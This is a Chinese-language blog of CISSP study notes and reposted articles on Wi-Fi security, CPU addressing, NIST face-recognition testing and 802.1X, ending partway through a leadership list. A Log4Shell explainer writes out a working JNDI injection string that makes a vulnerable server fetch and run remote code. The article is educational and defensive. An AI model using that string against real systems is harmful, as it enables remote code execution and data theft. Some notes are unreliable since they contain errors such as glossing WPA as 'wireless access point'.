分類
Cissp-WentzWu

wireless security

WI-FI的WPA/WPA2/WPA3 (WPA即wireless access point, 無線基地台)的規格, 分別規範了真實性(身份驗證如何作), 機密性及資料完整性等議題. 其中身份驗證可以用共享金鑰(PSK, Pre-Shared Key)的方式, 也可以用802.1X的方式. 為了方便溝通與推廣, PSK又稱為個人模式(Personal), 802.1X又稱為企業模式(Enterprise). 模式的英文, 有人用mode, 用人用profile. 即personal mode或personal profile.

分類
CISSP

中央處理單元 (CPU) 的立即尋址(Immediate addressing)模式中,指令本身指定了的運算元

https://ithelp.ithome.com.tw/upload/images/20211227/20132160TeTH9twhFm.jpg
-計算機架構
CPU 指令將值加載到寄存器中進行計算是很常見的。CPU 的尋址模式意味著 CPU 如何定位感興趣的值。值可以在指令中立即給出(立即尋址)、從寄存器讀取(寄存器尋址)或從主存儲器加載(直接、間接、基址+偏移)。
一條指令可以通過以下方式指示 CPU 將值加載到寄存器中:

  1. 提供值所在的內存地址(直接尋址),
  2. 提供指向值所在的另一個內存地址的內存地址(間接尋址),或
  3. 提供內存地址作為基址(起點)和值所在的偏移量(距離)(基址+偏移量尋址)。
    https://ithelp.ithome.com.tw/upload/images/20211227/20132160qomsXgESwO.jpg
    -運算符和操作數
    https://ithelp.ithome.com.tw/upload/images/20211227/20132160XJaF9ZIuSF.jpg
    -進程的內存佈局

參考
尋址方式
尋址模式和指令周期

資料來源: Wentz Wu QOTD-20210920

分類
Information Security

人臉辨識 — NIST & FRVT

「臉部辨識技術基準測試」由美國國家標準暨技術研究院所設立,該計畫獲美國聯邦調查局及國防部等國安部門贊助及協辦,為全球規模最大且最具權威的臉部辨識演算法評比,結果亦受全球高度矚目及信賴,吸引美、日、中、俄、歐等全球臉部辨識頂尖團隊投入此測試。

研究一下什麼是『臉部辨識技術基準測試』

美國國家標準暨技術研究院,簡稱NIST(National Institute of Standards and Technology),其隸屬於美國商務部,前身為國家標準局,從事一些應用基礎研究及測量技術和測試方法等,提供標準參考數據及有關服務。國家標準技術研究所美国 国家标准技术研究所( National Institute of Standards and Technology,简写为 NIST)的前身为 国家标准局(NBS,1901年~1988年),是一家测量标准 实验室,属于 美国商务部…zh.wikipedia.org

執行人臉識別測試的單位階層如下

Information Technology Laboratory
>>Information Access Division
>>>>Image Group

Information Technology Laboratory,縮稱ITL,是NIST七個研究實驗室之一,涵蓋計算機科學,數學,統計學和系統工程等領域。根據網路的文章,ITL實驗室有將近500名研究人員,年預算額近1.5億美元。

ITL底下再細分為七個研究部門

  1. 計算機安全部(Computer Security Divsion, CSD)
  2. 先進網絡技術部(Advanced Network Technologies Division)
  3. 應用和計算數學部( Applied and Computational Mathematics Division)
  4. 應用資安部(Applied Cyber​​security Division)
  5. 資訊擷取部( Information Access Division)
    底下再分為 圖像組(Image Group)、多模式信息組(Multimodal Information Group)、檢索組(Retrieval Group)、可視化和可用性組(Visualization and Usability Group)
  6. 軟體與系統部( Software and Systems Division)
  7. 統計工程部(Statistical Engineering Division)

Image Group內的工作主要是針對生物資訊的識別技術做研究,使這些技術所蒐集的數據在各機構之間共享,並且提升整體之生物識別技術準確程度。

包含指紋、虹膜、臉部、紋身等,並各自在再細分為若干個project,而FRVT便是臉部項目之下的一項研究計畫。

Face Recognition Vendor Test (FRVT),其主要目的是測試人臉識別算法水準,由於是相對獨立的第三方測試,受商業因素影響較小,因此相對比較公平公正,是目前全球最具權威臉部辨識演算法評比之一。Face Recognition Vendor Test (FRVT) OngoingFRVT is an ongoing activity, and all evaluations run continuously with no submission deadlines. For the FRVT 1:1, 1:N…www.nist.gov

可以看出在目前FRVT底下還有四個測驗集正在執行,分別為 1:1、1:N、MORPH 及 Quality,如下圖,可以從上方連結進入之後,再找到各別測驗集可以看到更詳細的說明、及最新的報告。

先來看一下主項目的說明

FRVT Summary

FRVT is an ongoing activity, and all evaluations run continuously with no submission deadlines. For the FRVT 1:1, 1:N, and Quality tracks, participants may send ONE submission as often as every four calendar months from the last submission for evaluation. For FRVT MORPH, the number and schedule of submissions is currently not limited, so participants can send submissions at any time. Algorithm submissions will be processed on a first-come first-serve basis for inclusion in subsequent reports.

這邊講的是FRVT的接受測試方式,最一開始,FRVT測評在之前一共舉辦過五次(FRVT 2000, FRVT 2002,FRVT 2006, FRVT 2010, FRVT 2013)。

而從2017 年2 月份開始,NIST 開始組織新的人臉識別測評,不同於以往的測評,這次測評沒有截止日期,參加測評者可以根據自身進度提交算法,每隔一段時間出一次報告。

FRVT 1:1的頁面並沒有完整的說明怎樣叫1:1測試,主要也是因為概念很簡單,就是把一張照片裡有一個人頭,去對比另一張也有一個人頭的照片,看看這兩個人是不是同一個人。

主要用來比賽的精準度,真正的算法有點數學,有些難理解。但概念上,有在我們上一篇提過。人臉辨識 — 基本流程/測試標準因工作關係投入研究人臉辨識 此篇主要為網路資料整理 若有問題或指教歡迎留言或來信medium.com

誤識率(FAR)=(本應FALSE的判錯 / 所有FALSE )

拒識率(FRR)=(本應TRUE的判錯 / 所有TRUE )

再白話一點 FAR 就是兩個不同的人不小心判成同一個人。FRR就是兩個同一個人不小心判成不同人。

然後在FRVT裡,主要會用FMR及FNMR作為名詞

FAR, False Acceptance Rate = FMR, False Match Rate
FRR, False Rejection Rate = FNMR, False Non-Match Rate

FNMR和FMR代價往往不太一樣,誤識會是一個很嚴重的事故(可以假裝別人,取款、辦帳戶),相比之下,拒識結果相對可以接受(只是辨不出來,造成不便)。

所以如果只統計識別率,並不能完整的解釋臉辨系統的性能。通常的作法是,調節算法閾值,得到不同FNMR和FMR,然後畫出拒識和誤識相關曲線(即ROC曲線),NIST就是應用ROC來計算及比較算法的性能

至於ROC怎麼算,就交給工程師吧,一般產品應用單位只要分的出來FNMR跟FMR就很好了ROC和CMC曲线的理解(FAR, FRR的理解)ROC曲线 ROC曲线 意为受试者工作特征曲线 (receiver operating characteristic curve,简称ROC曲线)。曲线上没一个点反映着对同一信号刺激的感受性。 横轴:负正类率(false postive…zhuanlan.zhihu.com

下一步,就是測驗用的資料集

FRVT資料集是完全不公開的,沒錯,完全不公開,不管是測試、或實際用來做測驗的都沒有,只有簡略的幾段話描述。
如下圖舉Visa照的例子。

從文字中可以想像一下,你所使用的測試集大概會有哪些照片、解析度的範圍、人種、國家、年齡等等

FRVT測試不限定資料集,也會包含歐美人種,想收集覆蓋這麼多國家的人臉數據已經是非常困難了,其次,就算收集到一些數據,跟FRVT所要求的多種場景也會有差別

最新的版本主要分為五種類型的資料集

  • 簽證照片(Visa)。簽證照片是非常清晰、正面、無遮擋的一種受控測試場景,成像質量很高,且覆蓋了多達上百個國家的人臉數據。
  • 嫌疑人照片(Mugshot)。嫌疑人照片也是比較高清的,跟簽證照片相比,嫌疑人兩張照片間的年齡跨度一般會更大,有很多都超過了十年的年齡間隔。
  • 自然場景照片(Wild)。自然場景的照片是在非限制場景下採集的,各種光照,角度,遮擋,模糊,低分辨率的情況都可能會出現。
  • 兒童照片( Child exploitation)。兒童照片也是在非限制場景下採集的,因為年齡分佈跟大家的訓練集可能差別比較大,所以也是非常難的一個任務。
  • 網路攝影機(Webcam)。使用一般網路攝影機所拍攝的照片,容易有過曝、或光線不足的情況,不過由於架設角度固定,所以照片對人臉的角度,會比Wild來的受控。

然後可以看到這個測試,其實更新資料集的頻率滿高的,可以看到2019年2月的時候更換了mugshot database、2019年7月再新增Visa-Border資料集。

資料集的更新、新增、汰換不適用,會讓整體的測驗更有挑戰性,也展示NIST對於此驗證的嚴謹與重視,畢竟資料集的搜集十分耗費成本,同時也需要許多特殊管道(譬如犯罪資料庫、人權組織…等等)。

下一步,就是測試方法

在FRVT的測試中,NIST要求每個廠商或者研究機構都要提供完整的算法代碼,並且由NIST在同一個平台上來運行所有提交,得到最終各個測試集上的結果。

對於算法的運行時間也有著很嚴格的限制,所有提交都只能使用不超過CPU單線程1秒的計算資源來處理一張圖片從人臉檢測、人臉對齊到人臉特徵提取和識別的所有功能。

另外順帶一提的是CPU這件事情,原先的FRVT的測試中,是允許GPU的使用,直到2019年2月之後,NIST不再開放GPU使用,只能做CPU使用。我不太確定這個的主要原因是什麼,雖然可以讓測試環境更加單純,可以更佳的評比出演算法本身的優勢,不過GPU作為新一代AI應用的重要武器,使得FRVT本身會排除掉一些以GPU為主攻的演算法。

下一步,就是測試結果

順便來看一下 11/19的結果

解讀一下這個表,最左邊第一欄就是序號、第二欄就是演算法的名稱,其實大多都可以看得出來廠商名稱,譬如第一個3divi,就是俄羅斯的臉辨公司。然後第30、31 是ctbcbank 中國信託,第34、35是cyberlink 訊連,都是台灣的公司,看得出來訊連還是略勝一籌,不過兩個都是台灣的廠商,加油!

從第三欄開始都是FNMR,也就是配對失敗率(沒把李四認出是李四)。觀察FNMR的前提是,必須要先固定FMR(誤認率,把張三誤當成李四),因為兩者會互相影響,如下圖。

FNMR is the proportion of mated comparisons below a threshold set to achieve the FMR given in the header on the fourth row

而固定的FMR都列出於第四列,NIST也很貼心的在FNMR值的旁邊放上排名值,黃底的就是表現最好的第一名(FNMR最低)。

至於沒有出現的值是怎麼回事

Missing entries for visa, mugshot and wild images generally mean the algorithm did not run to completion. For child exploitation, missing entries arise because NIST executes those runs only infrequently

除了child exploitation之外,多代表這個演算法可能有問題,或是針對該類資料集表現太差,導致無法完成。

最後,來談一下殘酷的排名

在FRVT 1:1的頁面上,可以看到有排名(下圖是2019/11/19的報告結果)

The algorithms are ordered in terms of lowest mean rank across mugshot, visa, visa border, and wild datasets, rewarding broad accuracy over a good result on one particular dataset.

這個排行將mugshot, visa, visa border, and wild等資料集的測驗結果排名平均,也就是說,你不一定要每一項都是最好的,你只要整體平均好就好。

但事實上,實際情形的臉辨環境會比較偏向mugshot跟wild,所以如果某算法在Visa數據集上表現不錯,但是其在Mugshot和Wild數據集性能一般,代表針對受控環境下人臉識別性能較好,而無約束環境下人臉識別性能相對不足,也就是說在實際開放環境應用時,此算法會比較吃虧。

不過如何,整體排名還是可以代表一些意義。前三名分別為,visionlabs(俄羅斯)、deepglint(中國)、Ever AI(美國)。

再來是1:N,因為看過1:1,1:N的一些術語就比較容易理解。

The evaluation used four datasets — frontal mugshots, profile views, webcam photos and wild images — and the report lists accuracy results alongside developer names

mugshot、profile、webcam、wild是主要的四個資料集

The primary dataset is comprised of 26.6 million reasonably wellcontrolled live portrait photos of 12.3 million individuals.

資料集的數量大概有2.6千萬張照片、1.2千萬個人

From Fall 2019 this report will be updated continuously as new algorithms are submitted to FRVT, and run on new datasets. Participation in the one-to-many identification track requires a devloper to first demonstrate high accuracy in the one-to-one verification track of FRVT.

從2019年秋季開始,也跟1:1一樣變成提交測驗沒有截止日期,參加測評者可以根據自身進度提交算法,每隔一段時間出一次報告。

不過特別的是,要做1:N,就得先證明你的1:1實力。
下列兩個條件,必須符合其一,才可以提交1:N測驗。

  • VisaMC dataset: FNMR of 0.025 or less at FMR=0.0001
  • Mugshot dataset: FNMR of 0.025 or less at FMR=0.00001

接著來看1:N的測驗指標

在1:1的部分,我們會拿兩個人頭照片來比,由系統先判定True or False,再來看答案確認這兩個是不是應該屬於同一個人,所以其實就是對或錯。

但是在1:N時,會有幾個情境,譬如健身房的會員資料庫,當一個會員走進來的時候,演算法必須從庫裡面,找到屬於這個會員的資料,或是辨識出他不屬於此庫內的任何一人。另外一個情境,就是犯罪照片裡面有很多人,要從其中辨識出哪一個是我要找的罪犯。

就像上圖的流程這般,會找出這個1:N的辨識效能

  • 錯誤拒絕辨識率(FNIR),註冊使用者被錯誤辯識為其他註冊使用者比例
    False Negative Identification Error Rate
  • 錯誤接受辯識率(FPIR),非註冊使用者被辨識為某個註冊使用者比例
    False Positive Identification Error Rate

由於此兩個辨識率是互相關聯的,所以演算法的優劣,是將FPIR固定在一定閾值時,由FNIR的高低來判斷的。

在四個資料集內,有幾百萬張圖,這些圖內有些是同一個人,並且根據其拍攝日期接近做排序,使得測驗上還可以分為三種類型

第一種,我只挑時間上最相近(Most Recent)的,所以同一個人的只會有一張,我只是辨識出是哪一個就好。

第二種,同一個人會好幾張照片(Lifetime Consolidated),有時候資訊更多是件好事,但有時候不是,反而會干擾特徵值,對於演算法來說是一個挑戰。

第三種,所有的照片都混在一起,你不知道哪些是同一個人,這更難。

下一步,看結果,由於算法更複雜、資料集分類方式也多,所以測驗結果的總表會有很多張,我們挑某一張來看看就好。

FNIR at FPIR = 0.001 for five enrollment population sizes, N

表格裡的數字,主要就是FNIR,並指定FPIR為0.001。藍色小數字是排序,誤辨率約低越好,可以看到有水準的演算法,誤辨率都小於0.1%,代表整體的正確率達到98%以上。

2019/9/11發布的最新1:N報告中,其實好的名次都集中在三間廠商身上,包含微軟(美國)、優圖(中國)跟NEC(日本)。此外,商湯、Visionlabs、Ever AI、IDEMIA,也都是表現相當不錯的廠商。

結論

  1. FRVT並不代表動態影像的識別效能

無論是1:1或1:N,基本上都以靜態的影像做測驗,當然1:N會比較偏向真實情境的人臉辨識設置,因為攝影機內可能一次抓到多個人頭,再去找到、並識別出是否為會員、是否為員工等目標。Face in Video Evaluation (FIVE)The Face in Video Evaluation (FIVE) is being conducted to assess the capability of face recognition algorithms to…www.nist.gov

NIST也有做過Face in Video的測驗,不過沒有持續更新,最新的報告停留在2017年。且當時這個FIVE測驗也不屬於FRVT,當然後續可能會加入FRVT的一個新系列,或是與1:1、1:N測驗合併。

所以目前較新的FRVT(還有持續在更新、接受測驗),包含1:1及1:N,都沒有根據動態影像來做判別,動態影像的關鍵在於每秒多個frame的識別,每張frame雖然都可以被視為一張靜態影像,不過由於frame之間的時間很短,所以演算法除了識別之外,還要針對每張frame進行追蹤,提供識別的效果更好(因為人行進中會有多個角度出現),使得演算法對於角度的識別、跨frame的資訊溝通、系統資源的運用,都必須要更精準、更有效率。

2. 資料庫會影響到地區適用性

NIST是美國的官方機構,所以外界多推測其資料庫在歐美人士臉孔的比例會比較高,這其實也對於以東方臉孔作為主要訓練集的廠商,可能會比較吃虧。不過殘酷的是,其實許多大廠比較有資源,可以找到更多的臉孔訓練集來訓練,這些都是需要投注大量成本。也可以從這個端倪看到,中國AI的市場熱錢很多,讓很多公司都投注資源在參加這些訓練,來展示實力。

3. 測驗環境與真實環境的差異

NIST不再開放GPU使用,只能做CPU使用,而且CPU只用單線程。這樣做可以讓測試環境更加單純,可以更佳的評比出演算法本身的優勢。另外,辨識速度也不是FRVT的重要項目,只要在一定時間內識別出即可,代表FRVT強調的是精準度。

測試中最好與最差的演算法差距在1%左右,而真實環境中,這1%相對顯得不是這麼重要,而是系統的敏捷、穩定性,希望在動態辨識的環境中,可以維持迅速的辨識速度,及系統長期使用的穩定性,才是重要的目標。而GPU是AI應用的重要武器,再加上現在的CPU多線程運算能力越來越強大,所以有些大量識別資料庫的需求,及識別時間上的縮短要求,都可以靠這些技術能力來克服。

不過有一點可以多注意,就是NVRT的資料集條件的多元性,以1:1為例,除了一班的VISA照,還有mugshot、wild等多樣的照片條件,而越極端的資料集,例如wild,更可以比較出演算法在嚴苛條件下,是否還能精準抓取人臉特徵值,無論是以何種方式來矯正,都更能代表真實環境下,常常會出現各式不同角度、明亮程度,這些演算法的適應性。

所以看懂這些報告之後,再看看本篇文章最上方的廠商新聞稿,就瞭解似乎有點誇大。不過作為台灣本土的演算法,在市場環境不明朗之下,要投入資源來參加世界級的比賽本身就很困難,所以整體的表現仍十分值得肯定。

另外,也再分享一個新聞Facial Recognition: The Ugly TruthThe UK is one of the most surveilled countries in the world, with closed-circuit televisions (CCTV) cameras everywhere…www.eetimes.com

eetimes記者Sally Ward-Foxton今年6月的報導指出人臉辨識的『ugly truth』。

英國警察在購物中心、運動場和街道等公共場所進行real-time人臉辨識技術的試驗。根據NEC的說法,其演算法可以容忍質量低下的圖像,例如壓縮的監視視頻,人臉兩眼之間距離只需24像素以上即可作於識別。

不過很可惜的,在某幾次測驗中,有96%被識別出是嫌疑犯的民眾,都是無辜被誤認的。這個代表幾種意義,第一種,嫌疑犯本身的圖像質量太差,第二種,系統的閥值太低,第三種,攝影機所獲取的影像質量太差,第四種,演算法本身不夠好(不過NEC已經是全球名列前茅的技術之一)。

接著,報導也指出人臉辨識大量部署之『道德性』、『合法性』

有許多研究都指出,人臉辨識在有色人種的辨識準確率較低,甚至也有指出女性的辨識準確率也不如男性高。所以技術發展本身可能就造成歧視。

接著,英國法律規定了警察收集指紋和DNA的條件,以及在採集數據後會發生什麼情況,但目前不涵蓋人臉識別圖像和數據。後續只能靠GDPR來做為輔助,不過角色不太一樣,GDPR指的是個人隱私資料,而非專注於生物識別資料的法律。

所以未經人們的同意,並且在他們不知情的情況下,透過街道上的攝影機獲取數據,不分青紅皂白地蒐集人臉圖像,還能定位人員並跟踪他們的動作。這件事本身,將會慢慢醞釀成大型的社會議題。

In the same way that we’ve seen the science of genetically modified foods get set back 10 years because the public in Europe wouldn’t support it, we need to find a path which gets social license to operate.

人臉辨識技術需要找到一條獲得社會許可的途徑,這個是Ada Lovelace Institute副主席Shah所發表的言論,他說目前最好的方式是先暫停這類技術的部署,直到完成整體評估、以及與社會各團體的討論。

資料來源:https://weilihmen.medium.com/%E4%BA%BA%E8%87%89%E8%BE%A8%E8%AD%98-nist-frvt-6d2f063fb159

分類
CISSP

split-response

split-response也可視為一種注入攻擊. 例如, 攻擊者在前端使用JavaScript對web server發出一個含有cookie的HTTP請求 (一般而言, cookie是由server發出), 其中注入惡意旳html內容.
OWASP這篇文章寫的不錯: https://owasp.org/www-community/attacks/HTTP_Response_Splitting

分類
Information Security

從監視攝影機理解 Log4j 跟 Log4Shell 漏洞

2021 年末資安界最大的新聞莫過於 Log4j 的漏洞,編號為 CVE-2021-44228,又被稱為 Log4Shell,甚至被一些人形容為「核彈級漏洞」,可見這個漏洞的影響程度之深遠。

關於技術上的分析已經有很多篇文章在講解了,但對於不懂技術的人來說,可能只知道這個漏洞很嚴重,卻不知道為什麼嚴重,也不知道原理到底是什麼,因此我想從讓非技術背景的人也能理解的角度出發,寫一篇比較白話的文章。

從監視攝影機談起

我有個朋友叫小明,他家是開雜貨店的。就跟其他商店一樣,在店裡有一支監視攝影機,怕有什麼消費糾紛或是有人來搶劫或偷東西,因此讓攝影機 24 小時全程錄影,真的發生什麼事了,就會有證據留存下來。

但攝影機的鏡頭角度有限,不可能把整間店面的影像都拍下來,就算真的都拍下來了,要存的資料也會太多(除非小明很有錢,買了一堆攝影機)。因此,攝影機只會對準一些非常重要、值得記錄下來的地方,像是收銀台等等。

原本這支攝影機用了十幾年都沒什麼事情,畢竟不就是把影像記錄起來嗎,能有什麼事情?但最近卻突然有人發現一個攝影機的隱藏功能(嚴格來講不是隱藏功能,因為攝影機的說明書上其實有提到,可是大家都懶得看那一百多頁的說明書,所以很少人知道這個功能)

這個功能是什麼呢?那就是除了錄影以外,這台監視攝影機還有個智慧圖片辨識的功能,如果它看到特定的影像,會根據影像的內容去執行相對應的動作。舉例來說好了,這個圖片辨識功能需要把指令寫在 100×100 的板子上,一定要黑底白字加上特定格式,像這個樣子:

當攝影機看到上面的圖,符合特定格式,就執行了上面的指令:「關機」,就真的關機了!但關機還沒什麼,指令還可以寫說「把攝影機資料全都給我」之類的,再者,攝影機本來就會即時連線到其他伺服器,這個指令也可以對那些伺服器做操作,例如說把上面的資料全都偷下來等等。

總之呢,一旦讓攝影機拍到指定格式的東西,就會幫你執行指令。

這個功能被爆出來以後,血流成河,因為太多地方都有監視攝影機了,因此許多人都帶著這個板子去看看會不會觸發這個功能。攝影機有分型號,只有一台叫做 log4j 的攝影機會出事,其他不會,但要注意的事情是有些攝影機它雖然不叫做這名字,可其實是從 log4j 作為基底改出來的,就一樣會出事。

而有些東西儘管不是攝影機也會出事,例如說有台智慧冰箱,號稱內部有微型攝影機可以即時監控冰箱內部狀況,恰巧這個微型攝影機就是 log4j 這個型號的攝影機改版出來的,所以也有同樣的問題。

你想想看,如果監視攝影機出了這個問題,那全台灣、全世界這麼多人用這個型號的監視攝影機,當然會引起軒然大波,只要讓攝影機拍到特定的東西就會執行指令,這可嚴重了。

以上是對於 log4j 漏洞的簡單比喻,在這個故事中雜貨店就像是你的網站,而攝影機的功能就是拿來紀錄(log)對於網站的那些請求(request),整個故事只要記兩個重點就好:

  1. log4j 是拿來記錄東西用的
  2. 漏洞原理是只要紀錄某些特定格式的文字,就會觸發一個功能可以執行程式碼

白話的簡易比喻到這邊先結束,想要更了解 log4j,我們就必須先來看看什麼是 log。

有關於 log 這件事

log 的中文翻譯叫做日誌,我相信許多人對這個名詞並不陌生,如果你有跟工程師合作過,他在解決問題時可能會說:「我去看一下 log」;或是如果你們跟合作廠商各執一詞,他說 A 你們說 B,這時候就會說:「不然看一下 log 吧,看看是誰的問題」

當你跟公司的 IT 合作解決電腦上的小問題時,他也會跟你說要去某個地方複製 log 給他,他才知道發生了什麼事情。

log 就像是一台 24 小時全年無休的監視攝影機一樣,需要紀錄起重要事物的狀況。

那為什麼需要有 log 呢?這問題就像是「為什麼要有監視攝影機?」一樣,答案很簡單,因為出事的時候才有證據。就像行車記錄器一樣,裝了以後若不幸發生車禍,就可以協助判斷肇責。

舉個例子,假設我是 A 公司,我們公司是做購物網站的,而通常金流這一塊並不會自己做,而是會找其他做金流的廠商合作,在後端去「串接」金流服務商提供的功能,講白話一點就是:「當使用者要付款時,我把使用者導過去金流廠商的頁面,付款完再導回來我們網站」,相信有在網路上購物的大家應該很熟悉這個流程。

在這個過程中,雙方都必須留下紀錄,確保未來發生問題時有證據可以輔助說明。

例如說有天 A 公司突然接到一堆客訴說沒辦法付款,這時 A 公司直接打電話去金流商,罵說你們這什麼爛服務,怎麼突然壞掉,而金流商此時提供了伺服器的 log,說:「沒有啊,我們這邊從今天早上八點開始就沒有你們導過來的紀錄了,應該是你們的問題吧?」,後來 A 公司檢查了自己這邊的服務,確實是因為今天早上的版本更新出了問題而導致,跟金流商一點關係都沒有。

這就是 log 的重要性,當出事的時候你才有證據可以盤查,才能盡可能還原當初的狀況。

做開發者的大家都知道 log 很重要,所以 log 基本上是必備的,以網站後端來說,他可能會在交易發生錯誤時留下一筆 log,也有可能在發生非預期錯誤時寫下 log,或是用 log 紀錄 request 中的一些欄位,比如說瀏覽器版本好了,給自己公司內部的數據分析系統來使用。

因此 log 是個十分常見的功能。這也是為什麼如果這個功能出事了,造成的後果會非常嚴重。

log4j 是什麼?

在寫網站後端的程式碼時,會有不同的程式語言可以選擇,例如說 Python、JavaScript、PHP 或是 Java 等等,而這些程式語言都會有些專門做 log 的套件,簡單來說就是有人已經幫你把功能都寫好了,你只要用就好了。

而 Java 有一個很好用的 log 套件,就叫做 log4j。而這個套件是隸屬於 Apache 軟體基金會底下,因此全名又叫做 Apache Log4j。

Apache 底下有很多不同的軟體跟套件,例如說:

  • Apache HTTP Server(大家最常看到的是這個)
  • Apache Cassandra
  • Apache Tomcat
  • Apache Hadoop
  • Apache Struts

所以 Apache Server 跟 Apache log4j 完全是不同的兩個東西,我知道你用 Apache Server,跟你有沒有用 log4j 是兩件事情。

這次出問題的套件就是 log4j,而出問題的原因跟我開頭講的一樣,有一個鮮為人知的功能有著安全性的漏洞,只要 log4j 在記錄 log 時記錄到某個特定格式的東西,就會去執行相對應的程式碼,就像開頭提的那個「關機」的板板一樣。

再講更詳細一點,其實並不是直接執行程式碼,那一段特定格式長得像這樣:

${jndi:ldap://cymetrics.io/test}

先不要管那些你看不懂的字,你可以很明顯看到裡面有一段東西很像網址,對,它就是網址,當 log4j 紀錄上面那一串字的時候,它發現這串字符合特定格式,就會去裡面的網址(cymetrics.io/test)下載程式碼然後執行,因此這是一個 RCE(Remote Code Execution,遠端程式碼執行)漏洞。

前面我有提過後端會記錄許多東西,假設今天有個後端服務是用 Java 寫的,而它用 log4j 記錄了使用者登入失敗時輸入的帳號,這時我只要用 ${jndi:ldap://cymetrics.io/test} 這個帳號登入,就能夠觸發 log4j 的漏洞,讓它執行我準備好的程式碼。

只要能執行程式碼,我就可以做很多事情,例如說把伺服器上的資料偷走,或是安裝挖礦軟體幫我挖礦等等。

為什麼這個漏洞如此嚴重?

第一,log4j 這個套件使用的人數極多,只要你有用 Java,幾乎都會用這個套件來紀錄 log

第二,觸發方式容易,你只要在 request 的各個地方塞滿這些有問題的字串,server 只要有記錄下來其中一個,就能夠觸發漏洞,而前面我們有提到紀錄 log 本來就是家常便飯的事情

第三,能造成的影響極大,漏洞被觸發之後就是最嚴重的 RCE,可以直接執行任意程式碼

結合以上這三點,讓它成了一個核彈級的漏洞。到底有多嚴重,看看這些新聞標題就知道:

  1. Apache Log4j 漏洞影響巨大,美國資安主管機關通令政府單位立即修復
  2. 微軟、蘋果都受波及!日誌框架Apache Log4j爆漏洞,堪稱近10年最大資安威脅
  3. 【Log4Shell漏洞資訊更新】Log4j 2.15.0修補不全、Apache再釋2.16.0新版,國家駭客已開始行動

還有一點差點忘了提,有許多其他的軟體也都用了 log4j 這個套件,因此也會有問題,國外有人整理出一份被影響的清單:Log4Shell log4j vulnerability (CVE-2021-44228 / CVE-2021-45046) – cheat-sheet reference guide,洋洋灑灑一大片,像是 Minecraft 這個遊戲的伺服器也有用到 log4j,所以也被這個漏洞給影響。

該怎麼知道我有沒有被這個漏洞影響?

可以先確認自己家的程式有沒有用到 log4j 這個套件以及套件的版本,也需要一併檢查有沒有使用上面那張清單列出來的其他軟體。

如果你是工程師,也可以用一些現有的工具檢測是否受到漏洞影響,像是:log4j-scan 或是 jfrog 提供的 log4j-tools 等等。

或如果真的不知道該如何處理,也可以聯絡我們,看我們可以怎樣幫助你。

該如何修補?

由瑞士 CERT 發表的這篇文章:Zero-Day Exploit Targeting Popular Java Library Log4j 中,有給了一張從各個環節去防禦的圖:

如果來不及把根本原因修掉,可以先上 WAF(Web Application Firewall),簡單來說就是針對網站的防火牆,把那些惡意的字串擋掉,例如說 Cloudflare 就在第一時間增加了 WAF 的規則加以阻擋,不過也有很多人在研究怎麼繞過 WAF 的規則,因此這是治標不治本的做法。

治本的方法就是把 log4j 停用或是升版,升級到不會被這個漏洞影響的版本,但有些時候第一時間的改版可能沒有把漏洞完全補掉,因此記得更新完以後還是要密切注意是否有更新的版本。例如說在這篇文章寫完後過沒多久,官方就釋出了第三個 patch 修復其他相關問題:Apache Issues 3rd Patch to Fix New High-Severity Log4j Vulnerability

結語

一個很多人用的套件,加上一個很常見的功能,再加上一個很簡單的攻擊方式以及嚴重的後果,就成了一個可以被載入史冊的漏洞。

文中有些比喻為了不要講得太細節,會是精簡過後的版本,不一定能完全涵蓋本來的漏洞,在轉換成故事比喻的過程中一定會有一些遺漏的部分,但對於整體的理解我覺得影響不大。

如果你想了解更技術的細節以及時間軸,很推薦這一支影片:Hackers vs. Developers // CVE-2021-44228 Log4Shell,裡面講得很清楚,也探討了開發者與資安從業人員的關係。

最後,希望這篇文章能讓不懂技術的大家更了解 log4shell 是怎樣的漏洞,以及這個漏洞為什麼如此嚴重。文中若有錯誤也請不吝留言指正,感謝。

資料來源:https://tech-blog.cymetrics.io/posts/huli/what-is-log4j-and-log4shell/

分類
CISSP

使用 802.1X 實施網路存取控制中,讓請求者(supplicant)向身份驗證者(authenticator)進行身份驗證且具有最少的系統管理負擔(overhead)的是PEAP協議

https://ithelp.ithome.com.tw/upload/images/20211221/20132160Yd5QGlc3gG.jpg
-VPN 和 EAP
https://ithelp.ithome.com.tw/upload/images/20211221/20132160ktwaFIoa9X.jpg
-EAP 協議比較

803.802.1X 使用基於 EAP 的身份驗證協議讓請求者向身份驗證器進行身份驗證,而 RAIDUS 是身份驗證器(RADIUS 客戶端)和身份驗證服務器(RADIUS 服務器)之間使用的協議。在 802.1X 的設置中不使用 Kerberos。
EAP-TLS 和 PEAP 都可以使用。但是,EAP-TLS 要求在客戶端和 AP 上都安裝證書以支持相互身份驗證。它提供了更高的安全性,但會增加證書管理的開銷。PEAP 重溫開銷;它只需要 AP 安裝證書。

資料來源: Wentz Wu QOTD-20210919

分類
一般

降低領導品質的 8 個壞習慣!業界顧問:好主管不該是「辦公室裡最聰明的人」

身作則是領導者的基本條件,下屬無時無刻都在觀察主管處事待人的方法、從中學習。當領導者有一些不自知的壞習慣,不僅會降低領導品質,更可能破壞團隊和諧、甚至成了員工的壞榜樣。《富比士》(Forbes)雜誌網站邀請 15 名業界資深顧問,分享領導者常見的幾個壞習慣,以及如何避免。

1. 沒留時間給團隊

管理階層的確是頗忙碌,當上主管後一定會被賦予更多任務,會議愈來愈多,但千萬別忙過頭,沒留時間跟團隊好好互動,切記別讓「都是公司害的」成為藉口,每周還是要騰出時間跟團隊開會、了解員工工作狀況,讓部屬有時間跟你討論事情。

2. 沒照顧好自己

當主管工作量雖大,還是得為壓力找個出口、顧好自己的身心健康,照顧好自己才有餘力處理員工的狀況,以免整個團隊群龍無首。建議養成運動習慣或找到固定嗜好,保有平衡的私人時間,才能鍛鍊出更強壯的身心面對工作。

3. 人到心沒到

你是否常在跟員工開會時用筆電做自己的事,或在與員工面談時查看手機訊息?如果有這樣的情形,不只會讓部屬覺得你都沒在專心聆聽,甚至你也會忘記員工跟你講過的話,成為一個搞不清狀況的主管。比較好的做法是,一旦要與人互動,就把時間留給對方,好好參與會議、做筆記。

4. 不曾對員工表達感謝

稽核考核給高分,並不是一種感謝,對員工的感謝是要表達出來的。平日工作的小事或每月、每季、每年年終,都一定要找時機感謝員工的付出,畢竟團隊努力、有好成績,才能凸顯主管的價值。

5. 遲到

主管如果耍大牌,工作或會議上常遲到,容易讓人感到不受尊重,似乎員工的時間比較不重要。

6. 不敢接受反饋

